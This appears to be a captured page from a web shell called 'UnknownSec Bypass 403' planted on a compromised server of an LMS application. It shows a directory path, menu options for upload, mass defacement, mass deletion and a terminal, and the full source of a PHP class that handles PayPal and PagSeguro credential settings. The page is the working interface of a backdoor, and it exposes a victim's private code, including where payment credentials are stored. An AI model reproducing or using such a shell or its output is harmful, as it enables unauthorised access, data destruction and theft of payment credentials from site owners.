UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_0fbd48a558b0
/
app
/
Services
/
Admin
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ConfigurationServices.php
<?php namespace EstudioLMS\Services\Admin; use EstudioLMS\Repositories\Config\BoletoRepository; use EstudioLMS\Repositories\Config\ConfigRepository; use EstudioLMS\Repositories\Config\SaasConfigInterface; class ConfigurationServices { /** * @var ConfigRepository */ private $configRepository; /** * @var BoletoRepository */ private $boletoRepository; /** * @var SaasConfigInterface */ private $saasConfigRepository; /** * ConfigurationServices constructor. * @param ConfigRepository $configRepository * @param BoletoRepository $boletoRepository * @param SaasConfigInterface $saasConfigRepository */ public function __construct( ConfigRepository $configRepository, BoletoRepository $boletoRepository, SaasConfigInterface $saasConfigRepository ) { $this->configRepository = $configRepository; $this->boletoRepository = $boletoRepository; $this->saasConfigRepository = $saasConfigRepository; } public function configuration() { return $this->configRepository->firstRecord(); } public function saasConfiguration() { return $this->saasConfigRepository->firstRecord(); } public function paypalConfiguration() { $config = $this->configRepository->firstRecord(); $paypal['email'] = $config['paypal_email']; $paypal['password'] = $config['paypal_password']; $paypal['token'] = $config['paypal_token']; $paypal['sandbox'] = $config['paypal_sandbox']; return $paypal; } public function pagseguroConfiguration() { $config = $this->configRepository->firstRecord(); $pagseguro['email'] = $config['pagseguro_email']; $pagseguro['token'] = $config['pagseguro_token']; $pagseguro['sandbox'] = $config['pagseguro_sandbox']; return $pagseguro; } public function boletoConfiguration() { return $this->boletoRepository->firstRecord(); } public function validateGateways($gatewayTitle) { $boleto = $this->boletoConfiguration(); $gateway = $this->configuration(); switch ($gatewayTitle) { case 'Boleto': return $boleto['published'] ? true : false; case 'Pagseguro': return !empty($gateway['pagseguro_email']) ? true : false; case 'Paypal': return !empty($gateway['paypal_email']) ? true : false; default: return false; } } }
Copyright © 2026 - UnknownSec